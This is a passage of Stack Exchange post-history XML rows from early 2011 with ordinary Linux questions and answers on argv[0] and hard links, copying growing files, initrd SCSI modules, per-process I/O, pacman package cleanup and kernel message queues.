  <row Id="15958" PostHistoryTypeId="6" PostId="5133" RevisionGUID="47d3885f-ed99-426a-9b95-3d5edea514cc" CreationDate="2011-02-05T00:36:05.737" UserId="885" Comment="edited tags" Text="élinuxàéubuntuàéfanà" />
  <row Id="15959" PostHistoryTypeId="5" PostId="6788" RevisionGUID="78e4e512-6780-4495-9926-ee1101f29eda" CreationDate="2011-02-05T00:47:02.557" UserId="3169" Comment="added 169 characters in body" Text="Every program can see the full command line that was used to run it (except for wildcards and variables, which the shell expands).&#xD;&#xA;&#xD;&#xA;In a C program, the command line is stored in `argv`, which is short for _argument vector_.  &#xD;&#xA;The progam's name is the first element of `argv`, i.e. `argv[0]`.&#xD;&#xA;&#xD;&#xA;Clearly in the case of `halt` and `reboot`, the program is changing its behavior based on `argv[0]`.&#xD;&#xA;&#xD;&#xA;From bash, you can see the full command line used to run a program using `ps -p &lt;pid&gt; -o cmd` or `cat /proc/&lt;pid&gt;/cmdline`.&#xD;&#xA;&#xD;&#xA;Note that there is another type of link called a hard link that will have the same effect.  On my system for example, `sudo` and `sudoedit` are the same file with two different names, and different behaviors.&#xD;&#xA;&#xD;&#xA;`ls -i` can help you find those commands, e.g.:&#xD;&#xA;&#xD;&#xA;    $ ls -il | awk '$3 != 1 { print }'&#xD;&#xA;    total 156872&#xD;&#xA;    2491111 -rwsr-xr-x 2 root   root     127560 2011-01-20 05:03 sudo&#xD;&#xA;    2491111 -rwsr-xr-x 2 root   root     127560 2011-01-20 05:03 sudoedit&#xD;&#xA;&#xD;&#xA;See `man ln` for more details about hard links if you're not familiar with them." />
  <row Id="15960" PostHistoryTypeId="2" PostId="6921" RevisionGUID="9ab5bb21-a50a-4cbd-9edd-cd86d14af84b" CreationDate="2011-02-05T01:07:18.027" UserId="1067" Text="The title pretty much says it all. I am attempting to install CentOS 5.5 on Oracle VM VirtualBox. I press enter for normal installation, things start to happen and then it hangs with the above message." />
  <row Id="15961" PostHistoryTypeId="1" PostId="6921" RevisionGUID="9ab5bb21-a50a-4cbd-9edd-cd86d14af84b" CreationDate="2011-02-05T01:07:18.027" UserId="1067" Text="Installing CentOs 5.5-x86_64 Kernal hangs with message NET: Registered Protocol family 2" />
  <row Id="15962" PostHistoryTypeId="3" PostId="6921" RevisionGUID="9ab5bb21-a50a-4cbd-9edd-cd86d14af84b" CreationDate="2011-02-05T01:07:18.027" UserId="1067" Text="écentosàévirtualboxà" />
  <row Id="15963" PostHistoryTypeId="2" PostId="6922" RevisionGUID="ab126e2c-f1c4-44ed-8a7b-79b1cd6b414c" CreationDate="2011-02-05T02:00:18.987" UserId="2343" Text="Pre Linux, I used Windows.. (too many years in the wilderness :) ... however there was a ray of sunshine in amongst all the general virus/re-install flack.. and that was Notepad++, a text Editor I really like(d).   &#xD;&#xA;&#xD;&#xA;I'd probably still be using it, now that I've shifted fully across to Linux(Ubuntu), but it doesn't behave 100% in 'wine'... &#xD;&#xA;&#xD;&#xA;There is one feature in Notepad++ which I sorely miss, and that is the ability to display different SIZE fonts within a single document (at the same time)... &#xD;&#xA;&#xD;&#xA;At some point, I started learning Hindi, and found that the Devanagari script really needs to be larger than the Latin script (used here)... Devanagari is by nature a &quot;taller&quot; script, with frills above, and below the main line, and has more detail.   &#xD;&#xA;&#xD;&#xA;Because of this I utilized Notepad++'s Syntax Highlighting to display my learning notes in a manner my eyes could handle...  &#xD;&#xA;&#xD;&#xA;Now my dilemma, is to find a Linux Text Editor which can (at least) do what Notepad++ can do  (ie. allow me to specify my own mix of font SIZES, and also to specify my own comment-delimiters)...   &#xD;&#xA;&#xD;&#xA;**Now, the big ask**... What I would really like is an editor which is &quot;Human-Language&quot; aware, or &quot;Font-Type&quot; aware, or &quot;Unicode-Codeblock&quot; aware...  so I don't have to fiddle and twiddle with syntax-highlighting, which is really not intended for what I want..  (PS... I don't want a word-processor)&#xD;&#xA;&#xD;&#xA;Here is an example of the Notepad++ presentation..  &#xD;&#xA;&#xD;&#xA;![Here is an example of the Notepad++ presentation][1]&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Cn79h.png" />
  <row Id="15964" PostHistoryTypeId="1" PostId="6922" RevisionGUID="ab126e2c-f1c4-44ed-8a7b-79b1cd6b414c" CreationDate="2011-02-05T02:00:18.987" UserId="2343" Text="Text editor with syntax highlighting based on Human-Language type (ie. Unicode Block) eg Devanagari. " />
  <row Id="15965" PostHistoryTypeId="3" PostId="6922" RevisionGUID="ab126e2c-f1c4-44ed-8a7b-79b1cd6b414c" CreationDate="2011-02-05T02:00:18.987" UserId="2343" Text="éeditorsàéfontsàéhighlightingàéunicodeà" />
  <row Id="15966" PostHistoryTypeId="25" PostId="6891" RevisionGUID="0cf71ade-fc3b-4c03-9406-ef0959415447" CreationDate="2011-02-05T02:16:30.013" Comment="http://twitter.com/#!/StackUnix/status/33710524050972672" />
  <row Id="15967" PostHistoryTypeId="5" PostId="6922" RevisionGUID="672860e0-9bd2-4a02-94f5-2fd09ae53094" CreationDate="2011-02-05T02:36:19.410" UserId="2343" Comment="added 461 characters in body; edited tags" Text="Pre Linux, I used Windows.. (too many years in the wilderness :) ... however there was a ray of sunshine in amongst all the general virus/re-install flack.. and that was Notepad++, a text Editor I really like(d).   &#xD;&#xA;&#xD;&#xA;I'd probably still be using it, now that I've shifted fully across to Linux(Ubuntu), but it doesn't behave 100% in 'wine'... &#xD;&#xA;&#xD;&#xA;There is one feature in Notepad++ which I sorely miss, and that is the ability to display different SIZE fonts within a single document (at the same time)... &#xD;&#xA;&#xD;&#xA;At some point, I started learning Hindi, and found that the Devanagari script really needs to be larger than the Latin script (used here)... Devanagari is by nature a &quot;taller&quot; script, with frills above, and below the main line, and has more detail.   &#xD;&#xA;&#xD;&#xA;Because of this I utilized Notepad++'s Syntax Highlighting to display my learning notes in a manner my eyes could handle...  &#xD;&#xA;&#xD;&#xA;Now my dilemma, is to find a Linux Text Editor which can (at least) do what Notepad++ can do  (ie. allow me to specify my own mix of font SIZES, and also to specify my own comment-delimiters)...   &#xD;&#xA;&#xD;&#xA;**Now, the big ask**... What I would really like is an editor which is &quot;Human-Language&quot; aware, or &quot;Font-Type&quot; aware, or &quot;Unicode-Codeblock&quot; aware...  so I don't have to fiddle and twiddle with syntax-highlighting, which is really not intended for what I want..  (PS... I don't want a word-processor)  &#xD;&#xA;&#xD;&#xA;In October, last year, I asked here about [SciTe (Scintilla)](http://unix.stackexchange.com/questions/3273/in-scite-scintilla-how-can-i-create-syntax-highlighting-for-my-own-custom-la/6038#6038) specifically (Notepad++ is based on Scintilla), but as per one answer, it is *too painful* :) ...  A comment suggested that Emacs could do it, so if that means &quot;at the same time&quot;, then I'm interested, but I need some initial pointers on how to go about it...  &#xD;&#xA;&#xD;&#xA;Here is an example of the Notepad++ presentation..  &#xD;&#xA;&#xD;&#xA;![Here is an example of the Notepad++ presentation][1]&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Cn79h.png" />
  <row Id="15968" PostHistoryTypeId="6" PostId="6922" RevisionGUID="672860e0-9bd2-4a02-94f5-2fd09ae53094" CreationDate="2011-02-05T02:36:19.410" UserId="2343" Comment="added 461 characters in body; edited tags" Text="éeditorsàéemacsàéfontsàéhighlightingàéunicodeà" />
  <row Id="15969" PostHistoryTypeId="2" PostId="6923" RevisionGUID="45b81826-3f30-4c98-b90c-a225330e1d9e" CreationDate="2011-02-05T03:32:23.520" UserId="4478" Text="Hi,&#xD;&#xA;&#xD;&#xA;I've been trying to dual-boot FreeBSD 8.1 with Mac OS X on my MacBook (5,1), but am having trouble trying to get the live cd to boot.&#xD;&#xA;&#xD;&#xA;I reach the [FreeBSD Boot Loader Screen][1] with the options for boot, boot without ACPI etc.&#xD;&#xA;&#xD;&#xA;However, I cannot select an option. I have tried with both the built in keyboard and a USB keyboard, but I do not think that that is the problem...&#xD;&#xA;&#xD;&#xA;Previously I have tried dual booting Ubuntu, but had problems with the live CD also. During the boot process, the boot seemed to freeze, and the CD stopped spinning. I think it might be a similiar problem here. Soon after arriving at this screen, the CD stops spinning.&#xD;&#xA;&#xD;&#xA;Thanks for any advice!&#xD;&#xA;&#xD;&#xA;BTW. I'm using the adm64 disc1 iso image&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install/boot-loader-menu.png &quot;FreeBSD Boot Loader Screen&quot;" />
  <row Id="15970" PostHistoryTypeId="1" PostId="6923" RevisionGUID="45b81826-3f30-4c98-b90c-a225330e1d9e" CreationDate="2011-02-05T03:32:23.520" UserId="4478" Text="FreeBSD 8.1 on MacBook 5,1" />
  <row Id="15971" PostHistoryTypeId="3" PostId="6923" RevisionGUID="45b81826-3f30-4c98-b90c-a225330e1d9e" CreationDate="2011-02-05T03:32:23.520" UserId="4478" Text="éfreebsdàédualöbootàélivecdàémacintoshà" />
  <row Id="15972" PostHistoryTypeId="5" PostId="6923" RevisionGUID="244d1ef2-562a-405a-bf1f-8b9d58baac75" CreationDate="2011-02-05T04:10:08.793" UserId="4478" Comment="spelling errors" Text="Hi,&#xD;&#xA;&#xD;&#xA;I've been trying to dual-boot FreeBSD 8.1 with Mac OS X on my MacBook (5,1), but am having trouble trying to get the live cd to boot.&#xD;&#xA;&#xD;&#xA;I reach the [FreeBSD Boot Loader Screen][1] with the options for boot, boot without ACPI etc.&#xD;&#xA;&#xD;&#xA;However, I cannot select an option. I have tried with both the built in keyboard and a USB keyboard, but I do not think that that is the problem...&#xD;&#xA;&#xD;&#xA;Previously I have tried dual booting Ubuntu, but had problems with the live CD also. During the boot process, the boot seemed to freeze, and the CD stopped spinning. I think it might be a similiar problem here. Soon after arriving at this screen, the CD stops spinning.&#xD;&#xA;&#xD;&#xA;Thanks for any advice!&#xD;&#xA;&#xD;&#xA;BTW. I'm using the amd64 disc1 iso image&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install/boot-loader-menu.png &quot;FreeBSD Boot Loader Screen&quot;" />
  <row Id="15973" PostHistoryTypeId="2" PostId="6924" RevisionGUID="0ec14fb9-8e15-4269-922f-5ff714947658" CreationDate="2011-02-05T04:46:18.570" UserId="4479" Text="What is the effect of copying a file say fileA.big (900mb) from location B to locationC. If during that cp operation, say 35% through the process, fileA.big is appended with new information and grows from 900mb to 930mb. &#xD;&#xA;&#xD;&#xA;What is the result of the end copy (i.e. fileA.big at locationC)? &#xD;&#xA;&#xD;&#xA;What if the copy is about 70% through, and the original file is updated but this time truncated to 400mb (i.e. the progress of the copy is beyond the truncation point), what is the result of the end copy?&#xD;&#xA;&#xD;&#xA;Referring to a linux OS on an ext3/ext4 filesystem. No volume shadow magic etc.. Just plain old cp.  Curiousity sparked by copying live couchdb files for backup, but more interested in general scenarios rather than specific use case. " />
  <row Id="15974" PostHistoryTypeId="1" PostId="6924" RevisionGUID="0ec14fb9-8e15-4269-922f-5ff714947658" CreationDate="2011-02-05T04:46:18.570" UserId="4479" Text="Copying large files in Linux " />
  <row Id="15975" PostHistoryTypeId="3" PostId="6924" RevisionGUID="0ec14fb9-8e15-4269-922f-5ff714947658" CreationDate="2011-02-05T04:46:18.570" UserId="4479" Text="éfileöcopyà" />
  <row Id="15976" PostHistoryTypeId="4" PostId="6671" RevisionGUID="c1cbee10-44cf-484a-91c0-d8a8f24ac579" CreationDate="2011-02-05T04:53:46.133" UserId="4319" Comment="make clear in the title that he/she is ready to debug; not just a user-level question" Text="How do I debug a kernel module in which a NULL pointer appears?" />
  <row Id="15977" PostHistoryTypeId="24" PostId="6671" RevisionGUID="cae00968-e16b-43ab-bf03-c2ca84254c76" CreationDate="2011-02-05T04:53:46.133" Comment="Proposed by 4319 approved by 73 edit id of 11" />
  <row Id="15978" PostHistoryTypeId="5" PostId="6918" RevisionGUID="8e0aa37d-9c41-4566-b178-aafad3d461b8" CreationDate="2011-02-05T04:54:05.917" UserId="1107" Comment="Avoid the single quote in the comment so that the single quoted string does not unexpectedly end when the code is used without first stripping out the comments." Text="Use Awk or Perl's [paragraph mode](http://perldoc.perl.org/perlrun.html#%2a-0%2a%5b_octal%2fhexadecimal_%5d) to process a file paragraph by paragraph, where paragraphs are separated by blank lines.&#xD;&#xA;&#xD;&#xA;    awk -vRS= '&#xD;&#xA;      NR!=1 {print &quot;&quot;}      # print blank line before every record but the first&#xD;&#xA;      {                     # do this for every record (i.e. paragraph):&#xD;&#xA;        gsub(&quot; *\n *&quot;,&quot; &quot;); # replace newlines by spaces, compressing spaces&#xD;&#xA;        sub(&quot; *$&quot;,&quot;&quot;);      # remove spaces at the end of the paragraph&#xD;&#xA;        print&#xD;&#xA;      }&#xD;&#xA;    '&#xD;&#xA;    perl -000 -pe '             # for every paragraph:&#xD;&#xA;      print &quot;\n&quot; unless $.==1;  # print a blank line, except before the first paragraph&#xD;&#xA;      s/ *\n *(?!$)/ /g;        # replace newlines by spaces, compressing spaces, but not at the end of the paragraph&#xD;&#xA;      s/ *\n+\z/\n/             # normalize the last line end of the paragraph&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;Of course, since this doesn't parse the (La)TeX, it will horribly mutilate comments, verbatim environments and other special-syntax. You may want to look into [DeTeX](http://www.cs.purdue.edu/homes/trinkle/detex/) or other (La)TeX-to-text converters.&#xD;&#xA;" />
  <row Id="15979" PostHistoryTypeId="24" PostId="6918" RevisionGUID="46e3d978-7860-4f10-8098-8f1cf75b60e4" CreationDate="2011-02-05T04:54:05.917" Comment="Proposed by 1107 approved by 73 edit id of 10" />
  <row Id="15980" PostHistoryTypeId="2" PostId="6925" RevisionGUID="50f691ae-6fa8-4689-b8e6-69786a7e015b" CreationDate="2011-02-05T04:56:52.930" UserId="4358" Text="If `fileA.big` is grown during the copy, the copy will include the data that was appended.&#xD;&#xA;&#xD;&#xA;If the file is truncated shorter than where the copy is currently at, the copy will abort right where its at and the destination file will contain what was copied up to the time it aborted." />
  <row Id="15981" PostHistoryTypeId="25" PostId="6924" RevisionGUID="98eb51af-4dae-4aa2-9462-43002d0c2aa0" CreationDate="2011-02-05T05:16:30.140" Comment="http://twitter.com/#!/StackUnix/status/33755823293337600" />
  <row Id="15982" PostHistoryTypeId="2" PostId="6926" RevisionGUID="6ab1312e-0df5-4f73-8582-c57c4473e3b7" CreationDate="2011-02-05T05:40:42.157" UserId="4461" Text="See this [ticket][1].&#xD;&#xA;&#xD;&#xA;&gt;I must append kernel boot parameter nolapic or enable IO APIC in the settings of the guest&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtualbox.org/ticket/5423" />
  <row Id="15983" PostHistoryTypeId="5" PostId="6922" RevisionGUID="d55453c6-5d18-4e48-b5cb-38a4091d19a2" CreationDate="2011-02-05T05:50:51.577" UserId="2343" Comment="added 36 characters in body" Text="Pre Linux, I used Windows.. (too many years in the wilderness :) ... however there was a ray of sunshine in amongst all the general virus/re-install flack.. and that was Notepad++, a text Editor I really like(d).   &#xD;&#xA;&#xD;&#xA;I'd probably still be using it, even now that I've shifted fully across to Linux(Ubuntu), but it doesn't behave 100% in 'wine'... (and its regex is stunted)...  &#xD;&#xA;&#xD;&#xA;There is one feature in Notepad++ which I sorely miss, and that is the ability to display different SIZE fonts within a single document (at the same time)... &#xD;&#xA;&#xD;&#xA;At some point, I started learning Hindi, and found that the Devanagari script really needs to be larger than the Latin script (used here)... Devanagari is by nature a &quot;taller&quot; script, with frills above, and below the main line, and has more detail.   &#xD;&#xA;&#xD;&#xA;Because of this I utilized Notepad++'s Syntax Highlighting to display my learning notes in a manner my eyes could handle...  &#xD;&#xA;&#xD;&#xA;Now my dilemma, is to find a Linux Text Editor which can (at least) do what Notepad++ can do  (ie. allow me to specify my own mix of font SIZES, and also to specify my own comment-delimiters)...   &#xD;&#xA;&#xD;&#xA;**Now, the big ask**... What I would really like is an editor which is &quot;Human-Language&quot; aware, or &quot;Font-Type&quot; aware, or &quot;Unicode-Codeblock&quot; aware...  so I don't have to fiddle and twiddle with syntax-highlighting, which is really not intended for what I want..  (PS... I don't want a word-processor)  &#xD;&#xA;&#xD;&#xA;In October, last year, I asked here about [SciTe (Scintilla)](http://unix.stackexchange.com/questions/3273/in-scite-scintilla-how-can-i-create-syntax-highlighting-for-my-own-custom-la/6038#6038) specifically (Notepad++ is based on Scintilla), but as per one answer, it is *too painful* :) ...  A comment suggested that Emacs could do it, so if that means &quot;at the same time&quot;, then I'm interested, but I need some initial pointers on how to go about it...  &#xD;&#xA;&#xD;&#xA;Here is an example of the Notepad++ presentation..  &#xD;&#xA;&#xD;&#xA;![Here is an example of the Notepad++ presentation][1]&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Cn79h.png" />
  <row Id="15984" PostHistoryTypeId="2" PostId="6927" RevisionGUID="665884f0-db4d-4f78-a1b9-deaf1faa0ffa" CreationDate="2011-02-05T05:53:50.780" UserId="4481" Text="I am creating a cloning script to automate a minimalistic installation of Cent OS 5.5 on about 100 workstations of various hardware and age (2-10 years).  The workstations are all either IDE or SATA.  &#xD;&#xA;&#xD;&#xA;I am currently developing the script and testing it on VMs (ESXi 4) with virtual IDE disks.  In the initrd I have commented out scsi_mod.ko, sd_mod.ko &amp; scsi_transport_spi.ko, and it seems to work just fine for booting a VM that uses an IDE disk.  The problem is that I don't have easy access to the physical workstations and there are no virtual SATA disks for ESXi, so I cannot test with SATA disks.&#xD;&#xA;&#xD;&#xA;Are the above SCSI modules needed on a workstation that only has a SATA disk?   Are any SCSI modules needed for SATA disks (with a stock CentOS 5.5 kernel)?&#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Lars&#xD;&#xA;" />
  <row Id="15985" PostHistoryTypeId="1" PostId="6927" RevisionGUID="665884f0-db4d-4f78-a1b9-deaf1faa0ffa" CreationDate="2011-02-05T05:53:50.780" UserId="4481" Text="Are any SCSI modules needed in initrd if only SATA and IDE disks are used?" />
  <row Id="15986" PostHistoryTypeId="3" PostId="6927" RevisionGUID="665884f0-db4d-4f78-a1b9-deaf1faa0ffa" CreationDate="2011-02-05T05:53:50.780" UserId="4481" Text="écentosàébootàéinitrdà" />
  <row Id="15987" PostHistoryTypeId="2" PostId="6928" RevisionGUID="928252e0-e4e7-4b8d-9d54-bf730f8bf10a" CreationDate="2011-02-05T06:05:11.820" UserId="3629" Text="Patrick has it more or less correct, but here's why.  The way you copy a file under UNIX works like this:&#xD;&#xA;&#xD;&#xA;1. Try to read some (more) bytes from `fileA`.&#xD;&#xA;2. If we failed to get bytes because we're at (or past) the end of the file, we're done; quit.&#xD;&#xA;3. Otherwise, write the bytes to `fileB` and loop back to step 1.&#xD;&#xA;&#xD;&#xA;Knowing that, and knowing it's as simple as that, lets us see some corner cases.&#xD;&#xA;&#xD;&#xA;As soon as we find the end of the file, the copy is done.  So let's say our file is growing during the copy, but is growing more slowly than we're copying it.  The copy program will keep going past the original file size, because by the time it gets there, there is more to the file.  But at some point, it catches up with the end of the file, and it knows it's at the end because it can't read any more bytes *right now*.  So it quits right there, even if the file is about to grow further.&#xD;&#xA;&#xD;&#xA;If the file is truncated, the copy program says &quot;Whoa, I'm past the end of the file!&quot; and quits.&#xD;&#xA;&#xD;&#xA;And if pieces of the file are being updated at random by, say, a database program :-), then your copy is going to be some mix of old and new data, because the data is not all copied at the same time.  The result will probably be a corrupt copy, which is why it's not generally a good idea to make copies of live databases.&#xD;&#xA;&#xD;&#xA;(That said, I'm not familiar with CouchDB, and it's possible to design a database to be resistant to this sort of corruption.  But best to be absolutely sure.)" />
  <row Id="15988" PostHistoryTypeId="4" PostId="6922" RevisionGUID="2221ebd4-54b9-4109-8641-b8515b39fef2" CreationDate="2011-02-05T07:54:45.557" UserId="4319" Comment="make the title not so distracting &amp; frightening (the main point is not about &quot;syntax&quot;, but just about font selection)" Text="Text editor with font-size selection for specific human languages (ie. Unicode Block) eg Devanagari. " />
  <row Id="15989" PostHistoryTypeId="24" PostId="6922" RevisionGUID="6725cb8c-e964-4032-9d01-d914a59650bd" CreationDate="2011-02-05T07:54:45.557" Comment="Proposed by 4319 approved by 73 edit id of 12" />
  <row Id="15990" PostHistoryTypeId="25" PostId="6922" RevisionGUID="197fa3e4-4e39-4472-a22c-bd882df7b220" CreationDate="2011-02-05T08:16:29.923" Comment="http://twitter.com/#!/StackUnix/status/33801121076084737" />
  <row Id="15991" PostHistoryTypeId="2" PostId="6929" RevisionGUID="1ceb283a-b497-445e-9ee2-14fdde3ae2b5" CreationDate="2011-02-05T09:20:13.890" UserId="3629" Text="If you're satisfied with general I/O bandwidth used (or if your program does almost entirely network I/O), then you could watch the `/proc/&lt;pid&gt;/io` file.  You want the `rchar` and `wchar` fields.  You might want to subtract `read_bytes` and `write_bytes`, since they represent reads and writes to the storage layer.  See section 3.3 of http://www.kernel.org/doc/Documentation/filesystems/proc.txt.&#xD;&#xA;&#xD;&#xA;If you need more resolution.... you could maybe script this using `lsof` and `strace`, though it would be painful to get all the corner cases right.  The basic idea is to parse the output of `strace -p &lt;pid&gt;`, grabbing the first parameter (= the file descriptor) and the return value (= number of bytes) from `read()`, `write()`, `send()`, and `recv()` calls (**NOTE** there are several more syscalls to listen for; I haven't tracked them all down).  Discard negative values; they indicate errors.  Use `lsof -p &lt;pid&gt;` to figure out which file descriptors are TCP/UDP sockets, and add up the counts per fd.  This strategy doesn't require root as long as you own the process you're inspecting, but it would be really hairy to write, let alone write well." />
  <row Id="15992" PostHistoryTypeId="2" PostId="6930" RevisionGUID="6a6f4791-c722-421d-b583-a9d8210a0bb4" CreationDate="2011-02-05T10:05:47.653" UserId="2871" Text="I would like to know how Message Queues are implemented in Linux Kernel. " />
  <row Id="15993" PostHistoryTypeId="1" PostId="6930" RevisionGUID="6a6f4791-c722-421d-b583-a9d8210a0bb4" CreationDate="2011-02-05T10:05:47.653" UserId="2871" Text="How is message queue implemented in Linux kernel?" />
  <row Id="15994" PostHistoryTypeId="3" PostId="6930" RevisionGUID="6a6f4791-c722-421d-b583-a9d8210a0bb4" CreationDate="2011-02-05T10:05:47.653" UserId="2871" Text="élinuxàémessageöqueueà" />
  <row Id="15995" PostHistoryTypeId="2" PostId="6931" RevisionGUID="8407a5ff-6d5b-4503-b691-86122bdc0f7c" CreationDate="2011-02-05T10:10:14.000" UserId="2871" Text="I would like to know what is the difference between a Library call and a System call in Linux. Any pointers for a good understanding of the concepts behind both will be greatly appreciated." />
  <row Id="15996" PostHistoryTypeId="1" PostId="6931" RevisionGUID="8407a5ff-6d5b-4503-b691-86122bdc0f7c" CreationDate="2011-02-05T10:10:14.000" UserId="2871" Text="What is the difference between a Library call and a System call in Linux?" />
  <row Id="15997" PostHistoryTypeId="3" PostId="6931" RevisionGUID="8407a5ff-6d5b-4503-b691-86122bdc0f7c" CreationDate="2011-02-05T10:10:14.000" UserId="2871" Text="élinuxàésystemöcallsàélibraryöcallsà" />
  <row Id="15998" PostHistoryTypeId="2" PostId="6932" RevisionGUID="2fe22916-b523-408c-b983-6162e842e7c5" CreationDate="2011-02-05T10:11:51.370" UserId="1571" Text="There's not really such a thing as a &quot;library call&quot;. You can call a function that's linked to a shared library. And that just means that the library path is looked up at runtime to determine the location of the function to call.&#xD;&#xA;&#xD;&#xA;System calls are low level kernel calls handled by the kernel. " />
  <row Id="15999" PostHistoryTypeId="5" PostId="6913" RevisionGUID="d897b40a-989a-4428-a24e-6720cc793662" CreationDate="2011-02-05T10:45:20.927" UserId="1131" Comment="re comment, some notes" Text="You can use awk like this:&#xD;&#xA;&#xD;&#xA;    $ awk ' /^$/ { print; } /./ { printf(&quot;%s &quot;, $0); }' test&#xD;&#xA;&#xD;&#xA;Or if you need an extra newline at the end:&#xD;&#xA;&#xD;&#xA;    $ awk ' /^$/ { print; } /./ { printf(&quot;%s &quot;, $0); } END { print; } ' test&#xD;&#xA;&#xD;&#xA;Or if you want to separate the paragraphs by a newline:&#xD;&#xA;&#xD;&#xA;    $ awk ' /^$/ { print &quot;\n&quot;; } /./ { printf(&quot;%s &quot;, $0); } END { print; } ' test&#xD;&#xA;&#xD;&#xA;These awk commands make use of actions that are guarded by patterns:&#xD;&#xA;&#xD;&#xA;    /regex/&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    END&#xD;&#xA;&#xD;&#xA;A following action is only executed if the pattern matches the current line.&#xD;&#xA;&#xD;&#xA;And the `^$.` characters have special meaning in regular expressions, where `^` matches the beginning of line, `$` the end and `.` an arbitrary character." />
  <row Id="16000" PostHistoryTypeId="25" PostId="6931" RevisionGUID="d7d428ac-ee43-439e-9d31-4193bea32215" CreationDate="2011-02-05T11:16:29.643" Comment="http://twitter.com/#!/StackUnix/status/33846418456186880" />
  <row Id="16001" PostHistoryTypeId="2" PostId="6933" RevisionGUID="1864d138-ff30-43bf-ac24-9cae5bb7ec79" CreationDate="2011-02-05T12:18:20.363" UserId="2871" Text="How does a debugger work in Linux? How does it gets 'attached' to an already running executable or process. I understand that compiler translates code to machine language, but then how does debugger 'know' what it is being attached to?" />
  <row Id="16002" PostHistoryTypeId="1" PostId="6933" RevisionGUID="1864d138-ff30-43bf-ac24-9cae5bb7ec79" CreationDate="2011-02-05T12:18:20.363" UserId="2871" Text="How does a debugger work in Linux?" />
  <row Id="16003" PostHistoryTypeId="3" PostId="6933" RevisionGUID="1864d138-ff30-43bf-ac24-9cae5bb7ec79" CreationDate="2011-02-05T12:18:20.363" UserId="2871" Text="élinuxàédebuggingà" />
  <row Id="16004" PostHistoryTypeId="6" PostId="6931" RevisionGUID="d64fe554-c6fb-4152-b99f-55a84c2db79a" CreationDate="2011-02-05T12:48:02.773" UserId="2180" Comment="edited tags" Text="élinuxàélibrariesàésystemöcallsà" />
  <row Id="16005" PostHistoryTypeId="2" PostId="6934" RevisionGUID="6ffcbfbd-fd0a-413d-88ee-c08b461ab4f1" CreationDate="2011-02-05T13:20:45.270" UserId="250" Text="Since I switched my favorite distro to Gentoo I have been very familiar with the following pattern for installing and removing packages:&#xD;&#xA;&#xD;&#xA;1. Install a bunch of applications that do pretty much the same thing to try them out: `emerge &lt;package&gt;`. This command installs the package, and mark the package as explicitly installed.&#xD;&#xA;2. Do try them out and remove those I don't like (and hopefully keep one or two that satisfy my needs): `emerge --deselect &lt;package&gt;`. This command removes the package from the list of explicitly installed applications, but does not uninstall the package.&#xD;&#xA;3. Finally remove everything that is not required on my system: `emerge --depclean`. This command removes all packages that are (1) not a system package, (2) not installed explicitly and (3) not a dependency of those two.&#xD;&#xA;4. And optionally check that all package dependencies are OK: `revdep-rebuild`. This command checks all dependencies and reinstall broken packages.&#xD;&#xA;&#xD;&#xA;Once in a while I would look at the entries in `/var/lib/portage/world` (the list of explicitly installed packages) to review the **top-level** applications that I use, and remove those that I don't use anymore using the commands in step 2, 3 and 4.&#xD;&#xA;&#xD;&#xA;Now that I'm trying to learn Arch, I wonder if I could use the same strategy with Pacman? Or another strategy that can keep my system **clean** of unused packages?&#xD;&#xA;&#xD;&#xA;Note: the [Pacman Rosetta][1] helps a lot in quickly understand things, but I could not figure out Arch's equivalent of the `/var/lib/portage/world` file. `pacman -Qe` is said to do it, but it contains things that I swear I haven't explicitly installed... Anyway please answer this question in terms of strategy (with command examples, of course :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Pacman_Rosetta" />
  <row Id="16006" PostHistoryTypeId="1" PostId="6934" RevisionGUID="6ffcbfbd-fd0a-413d-88ee-c08b461ab4f1" CreationDate="2011-02-05T13:20:45.270" UserId="250" Text="Package management strategy with Pacman" />
  <row Id="16007" PostHistoryTypeId="3" PostId="6934" RevisionGUID="6ffcbfbd-fd0a-413d-88ee-c08b461ab4f1" CreationDate="2011-02-05T13:20:45.270" UserId="250" Text="éarchölinuxàépacmanàépackageömanagementà" />
  <row Id="16008" PostHistoryTypeId="2" PostId="6935" RevisionGUID="b38d3908-343d-496d-a930-25bcac687173" CreationDate="2011-02-05T13:26:05.043" UserId="3069" Text="The Linux kernel (2.6) implements two message queues:   &#xD;&#xA;&lt;sub&gt;(rather 'message lists', as the implementation is done by using a linked list not strictly following the FIFO principle)&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;**System V IPC messages**&#xD;&#xA;&#xD;&#xA;The message queue from System V.&#xD;&#xA;&#xD;&#xA;A process can invoke `msgsnd()` to send a message. He needs to pass the IPC identifier of the receiving message queue, the size of the message and a message structure, including the message type and text.&#xD;&#xA;&#xD;&#xA;On the other side, a process invokes `msgrcv()` to receive a message, passing the IPC identifier of the message queue, where the message should get stored, the size and a value *t*.&#xD;&#xA;&#xD;&#xA;*t* specifies the message returned from the queue, a positive value means the first message with its type equal to *t* is returned, a negative value returns the last message equal to type *t* and zero returns the first message of the queue.&#xD;&#xA;&#xD;&#xA;Those functions are defined [include/linux/msg.h][1] and implemented [ipc/msg.c][2]&#xD;&#xA;&#xD;&#xA;There are limitations upon the size of a message (max), the total number of messages (mni) and the total size of all messages in the queue (mnb): &#xD;&#xA;&#xD;&#xA;    $ sysctl kernel.msg{max,mni,mnb}&#xD;&#xA;    kernel.msgmax = 8192&#xD;&#xA;    kernel.msgmni = 1655&#xD;&#xA;    kernel.msgmnb = 16384&#xD;&#xA;&#xD;&#xA;The output above is from a Ubuntu 10.10 system, the defaults are defined [msg.h][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;More incredibly old System V message queue stuff explained [here][4].&#xD;&#xA;&#xD;&#xA;**POSIX Message Queue**&#xD;&#xA;&#xD;&#xA;The POSIX standard defines a message 